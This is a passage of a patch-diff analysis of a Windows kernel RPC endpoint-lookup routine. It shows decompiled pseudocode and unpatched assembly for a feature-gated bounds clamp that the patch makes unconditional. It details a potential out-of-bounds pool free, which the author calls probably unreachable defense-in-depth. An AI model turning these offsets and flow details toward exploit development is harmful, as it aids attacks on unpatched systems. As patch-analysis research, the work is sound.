&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;FreeOldLookupData&lt;/code&gt; frees each entry of a fixed 4-element pointer array at &lt;code&gt;this+0x2D8&lt;/code&gt;, iterating &lt;code&gt;i = 0..count&lt;/code&gt; where &lt;code&gt;count = *(uint32)(this+0x2F8)&lt;/code&gt;. The defensive clamp &lt;code&gt;if (count &amp;gt; 4) count = 4&lt;/code&gt; was conditioned on the WIL feature-staging gate &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage()&lt;/code&gt;: when the feature evaluated as disabled the gate returned 0 and the clamp was skipped (&lt;code&gt;jz&lt;/code&gt;). If &lt;code&gt;count&lt;/code&gt; were ever greater than 4 in that state, the loop would read array slots past index 3 (&lt;code&gt;this+0x2F8&lt;/code&gt; at index 4, then bytes beyond it) and pass any non-zero value to &lt;code&gt;ExFreePoolWithTag(ptr, 'RpcM')&lt;/code&gt;. The patch deletes the gate call and makes the clamp straight-line, so the count is always capped at 4.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where the count comes from.&lt;/strong&gt; The array at &lt;code&gt;this+0x2D8&lt;/code&gt; and the count at &lt;code&gt;this+0x2F8&lt;/code&gt; are &lt;code&gt;[out]&lt;/code&gt; parameters of the endpoint-map RPC issued in &lt;code&gt;EP_LOOKUP_DATA::LookupNextChunk&lt;/code&gt; (&lt;code&gt;0x1C0031288&lt;/code&gt;): the array base (&lt;code&gt;lea rcx,[rdi+0x2D8]&lt;/code&gt;), the count pointer (&lt;code&gt;lea rdx,[rdi+0x2F8]&lt;/code&gt;) and a hard-coded maximum of &lt;code&gt;4&lt;/code&gt; are marshalled into &lt;code&gt;NdrClientCall3&lt;/code&gt; / &lt;code&gt;Ndr64AsyncClientCall&lt;/code&gt;. The returned tower count is therefore supplied by whatever answers the endpoint-mapper lookup, but it is unmarshalled through the NDR conformant/varying-array path, which validates the returned length against the fixed capacity of 4. That NDR validation is byte-identical in both builds, so &lt;code&gt;count &amp;gt; 4&lt;/code&gt; is not demonstrably reachable through the normal path. The clamp in &lt;code&gt;FreeOldLookupData&lt;/code&gt; is a redundant second line of defense.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A kernel-mode RPC client binding that needs a dynamic endpoint calls into endpoint resolution: &lt;code&gt;ResolveEndpointWithEpMapper&lt;/code&gt; (&lt;code&gt;0x1C0031B04&lt;/code&gt;) → &lt;code&gt;EP_LOOKUP_DATA::ResolveEndpoint&lt;/code&gt; (&lt;code&gt;0x1C0030CE8&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EP_LOOKUP_DATA::LookupNextChunk&lt;/code&gt; (&lt;code&gt;0x1C0031288&lt;/code&gt;) issues the endpoint-map RPC, filling the tower array at &lt;code&gt;this+0x2D8&lt;/code&gt; and the count at &lt;code&gt;this+0x2F8&lt;/code&gt; (capacity 4).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EP_LOOKUP_DATA::ProcessNextChunk&lt;/code&gt; (&lt;code&gt;0x1C0030F18&lt;/code&gt;) consumes the towers; &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData&lt;/code&gt; (&lt;code&gt;0x1C0033FEC&lt;/code&gt;) frees them on reset/cleanup.&lt;/li&gt;
&lt;li&gt;In the unpatched build the free loop's clamp is skipped when the WIL feature evaluates disabled.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note that &lt;code&gt;ProcessNextChunk&lt;/code&gt; iterates the same array using the same &lt;code&gt;this+0x2F8&lt;/code&gt; count with no clamp in either build, so the effective bound on the loop is the NDR validation in step 2, not the &lt;code&gt;FreeOldLookupData&lt;/code&gt; clamp. This is the main reason the change is defense-in-depth rather than a fix for a reachable bug.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED: EP_LOOKUP_DATA::FreeOldLookupData @ 0x1C0033FEC =====&lt;/span&gt;
&lt;span class="c1"&gt;// (first loop over the +0xC0 array and the RpcSsDestroyClientContext /&lt;/span&gt;
&lt;span class="c1"&gt;//  RpcBindingFree cleanups are identical in both builds and omitted here)&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// *** WIL gate ***&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2F8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// tower-array count&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;feature_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="c1"&gt;// *** clamp GATED ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2F8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                      &lt;/span&gt;&lt;span class="c1"&gt;// bound = possibly-unclamped count&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2D8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4D637052&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// &amp;#39;RpcM&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2D8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED: EP_LOOKUP_DATA::FreeOldLookupData @ 0x1C00331EC =====&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2F8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                                           &lt;/span&gt;&lt;span class="c1"&gt;// *** ALWAYS clamp ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2F8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// (free loop unchanged)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Gate internals (&lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;0x1C001B008&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Feature_666052921__private_featureState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// bit 0x10 = enabled-state cached&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_666052921__private_featureState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// bit 0 = enabled&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_666052921__private_IsEnabledFallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// -&amp;gt; wil_details_IsEnabledFallback&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is Windows WIL (feature-staging / velocity) machinery, not a WNF query. In the patched build the feature &lt;code&gt;666052921&lt;/code&gt; is removed entirely: its gate, its private descriptor, and the feature-specific WIL helper functions are gone, and references to &lt;code&gt;Feature_666052921__private_descriptor&lt;/code&gt; are retargeted to the generic feature-descriptor table.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;UNPATCHED — &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData @ 0x1C0033FEC&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- gate + conditional clamp region ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003406B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** WIL gate (removed in patch) ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034070&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034072&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; eax = tower-array count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034078&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C003408B&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; *** feature disabled -&amp;gt; SKIP clamp ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003407A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003407F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034081&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C003408B&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; count &amp;lt;= 4 -&amp;gt; skip clamp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034083&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; count = 4 (clamp, GATED)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034089&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="c1"&gt;; --- free loop over the 4-slot array at +0x2D8 ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003408B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003408D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003408F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00340C2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034091&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; array slot (OOB if edi &amp;gt;= 4)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0034099&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003409C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00340AF&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003409E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;D637052h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;RpcM&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;
